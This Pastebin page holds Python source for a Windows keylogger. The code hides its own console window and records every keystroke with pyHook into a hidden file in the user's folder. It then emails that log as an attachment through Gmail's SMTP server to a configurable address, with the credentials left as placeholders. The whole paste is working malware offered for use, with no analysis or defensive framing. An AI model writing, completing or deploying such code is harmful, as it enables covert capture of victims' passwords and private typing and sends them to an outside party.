Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import pyHook
- import pythoncom
- import win32gui
- import win32console
- import threading
- import getpass
- import string,time,sys,os,smtplib
- import win32con, win32api
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email.mime.text import MIMEText
- from email import encoders
- User = getpass.getuser()
- log_file = "C:\Users\%s\log_file6.txt"%User
- window = win32console.GetConsoleWindow()
- win32gui.ShowWindow(window,0)
- def sendText():
- fromaddr = "Emailfrom"
- toaddr = "Emailto"
- msg = MIMEMultipart()
- msg['From'] = fromaddr
- msg['To'] = toaddr
- msg['Subject'] = "Test"
- body = "%s"%User
- msg.attach(MIMEText(body, 'plain'))
- filename = "log_file6.txt"
- attachment = open("C:\Users\%s\log_file6.txt"%User, "rb")
- part = MIMEBase('application', 'octet-stream')
- part.set_payload((attachment).read())
- encoders.encode_base64(part)
- part.add_header('Content-Disposition', "attachment; filename= %s" % filename)
- msg.attach(part)
- server = smtplib.SMTP('smtp.gmail.com', 587)
- server.starttls()
- server.login(fromaddr, "Password")
- text = msg.as_string()
- server.sendmail(fromaddr, toaddr, text)
- server.quit()
- def pressed_chars(event):
- if event.Ascii:
- f = open(log_file,"a")
- win32api.SetFileAttributes(log_file,win32con.FILE_ATTRIBUTE_HIDDEN)
- char = chr(event.Ascii)
- if event.Ascii == 13:
- f.write("\n")
- f.write(char)
- sendText()
- proc = pyHook.HookManager()
- proc.KeyDown = pressed_chars
- proc.HookKeyboard()
- pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment